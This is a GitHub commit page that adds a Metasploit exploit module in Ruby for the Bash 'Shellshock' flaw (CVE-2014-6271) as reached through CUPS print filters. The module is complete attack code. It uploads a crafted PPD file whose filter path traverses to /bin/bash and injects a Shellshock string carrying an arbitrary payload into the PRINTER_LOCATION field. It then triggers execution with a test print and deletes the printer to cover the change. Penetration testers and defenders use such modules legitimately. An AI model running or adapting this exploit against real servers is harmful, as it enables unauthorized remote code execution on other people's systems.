Skip to content

Commit 0ede70e

Browse files
committed
Add exploit module for CUPS shellshock
1 parent d1523c5 commit 0ede70e

File tree

1 file changed

+209
-0
lines changed

1 file changed

+209
-0
lines changed
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
15+
'Description' => %q{
16+
This module exploits a post-auth code injection in specially crafted
17+
environment variables in Bash, specifically targeting CUPS filters
18+
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
19+
},
20+
'Author' => [
21+
'Stephane Chazelas', # Vulnerability discovery
22+
'Brendan Coles <bcoles[at]gmail.com>' # msf
23+
],
24+
'References' => [
25+
['CVE', '2014-6271'],
26+
['EDB', '34765'],
27+
['URL', 'https://access.redhat.com/articles/1200223'],
28+
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
29+
],
30+
'Privileged' => false,
31+
'Arch' => ARCH_CMD,
32+
'Platform' => 'unix',
33+
'Payload' =>
34+
{
35+
'Space' => 1024,
36+
'BadChars' => "\x00\x0A\x0D\x22",
37+
'DisableNops' => true,
38+
},
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd',
42+
'RequiredCmd' => 'generic bash netcat perl',
43+
},
44+
# Tested on CUPS 1.4.3
45+
'Targets' =>
46+
[
47+
[
48+
'Automatic Targeting', { 'auto' => true }
49+
],
50+
],
51+
'DefaultTarget' => 0,
52+
'DisclosureDate' => 'Sep 24 2014',
53+
'License' => MSF_LICENSE
54+
))
55+
register_options([
56+
Opt::RPORT(631),
57+
OptString.new('USERNAME', [ true, 'CUPS username', '']),
58+
OptString.new('PASSWORD', [ true, 'CUPS password', ''])
59+
], self.class)
60+
end
61+
62+
#
63+
# Check
64+
#
65+
def check
66+
Exploit::CheckCode::Unknown
67+
end
68+
69+
#
70+
# Exploit
71+
#
72+
def exploit
73+
@cookie = rand_text_alphanumeric(16)
74+
printer_name = rand_text_alphanumeric(10)
75+
76+
# Create a printer with a CUPS filter pointing to /bin/bash
77+
res = create_printer(printer_name)
78+
if !res
79+
print_error("#{peer} - Request failed")
80+
return
81+
elsif res.code == 426
82+
print_error("#{peer} - Authentication failed")
83+
return
84+
elsif res.body =~ /Set Default Options for #{printer_name}/
85+
print_good("#{peer} - Created printer successfully")
86+
end
87+
88+
# Request a printer test page.
89+
# The print job triggers execution of the bash filter
90+
# which executes the payload in the env vars.
91+
res = print_test_page(printer_name)
92+
if !res || res.code != 200
93+
print_error("#{peer} - Request failed")
94+
return
95+
end
96+
if res.body =~ /Test page sent; job ID is/
97+
print_status "#{peer} - Test page sent successfully"
98+
end
99+
100+
# Delete the printer
101+
res = delete_printer(printer_name)
102+
if !res || res.code != 200
103+
print_error("#{peer} - Request failed")
104+
return
105+
end
106+
if res.body =~ /has been deleted successfully/
107+
print_status "#{peer} - Deleted printer '#{printer_name}' successfully"
108+
end
109+
end
110+
111+
#
112+
# Create a printer
113+
#
114+
def create_printer printer_name
115+
print_status "#{peer} - Creating printer '#{printer_name}'"
116+
117+
ppd_file = <<-EOF
118+
*PPD-Adobe: "4.3"
119+
*%==== General Information Keywords ========================
120+
*FormatVersion: "4.3"
121+
*FileVersion: "1.00"
122+
*LanguageVersion: English
123+
*LanguageEncoding: ISOLatin1
124+
*PCFileName: "MFC3820CN.PPD"
125+
*Manufacturer: "Brother"
126+
*Product: "(Brother MFC-3820CN)"
127+
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
128+
*cupsVersion: 1.1
129+
*cupsManualCopies: False
130+
*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash"
131+
*cupsModelNumber: 5
132+
*ModelName: "Brother MFC-3820CN"
133+
*ShortNickName: "Brother MFC-3820CN"
134+
*NickName: "Brother MFC-3820CN CUPS v1.1"
135+
*PSVersion: "(3010.106) 3"
136+
*%
137+
EOF
138+
139+
shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
140+
141+
pd = Rex::MIME::Message.new
142+
pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"")
143+
pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"")
144+
pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"")
145+
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"")
146+
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"")
147+
pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable
148+
pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
149+
pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
150+
pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
151+
pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
152+
153+
data = pd.to_s
154+
data.strip!
155+
156+
res = send_request_cgi({
157+
'method' => 'POST',
158+
'uri' => normalize_uri(target_uri.path, 'admin'),
159+
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
160+
'data' => data,
161+
'cookie' => "org.cups.sid=#{@cookie};",
162+
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
163+
})
164+
165+
return res
166+
end
167+
168+
#
169+
# Print a test page
170+
#
171+
def print_test_page printer_name
172+
print_status "#{peer} - Requesting printer test page"
173+
res = send_request_cgi(
174+
{
175+
'method' => 'POST',
176+
'uri' => normalize_uri(target_uri.path,'printers',printer_name),
177+
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
178+
'cookie' => "org.cups.sid=#{@cookie}",
179+
'vars_post' => {
180+
'org.cups.sid' => @cookie,
181+
'OP' => 'print-test-page'
182+
}
183+
}
184+
)
185+
return res
186+
end
187+
188+
#
189+
# Delete a printer
190+
#
191+
def delete_printer printer_name
192+
res = send_request_cgi(
193+
{
194+
'method' => 'POST',
195+
'uri' => normalize_uri(target_uri.path,'admin'),
196+
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
197+
'cookie' => "org.cups.sid=#{@cookie}",
198+
'vars_post' => {
199+
'org.cups.sid' => @cookie,
200+
'OP' => 'delete-printer',
201+
'printer_name' => printer_name,
202+
'confirm' => 'Delete Printer'
203+
}
204+
}
205+
)
206+
return res
207+
end
208+
209+
end

0 commit comments

Comments
 (0)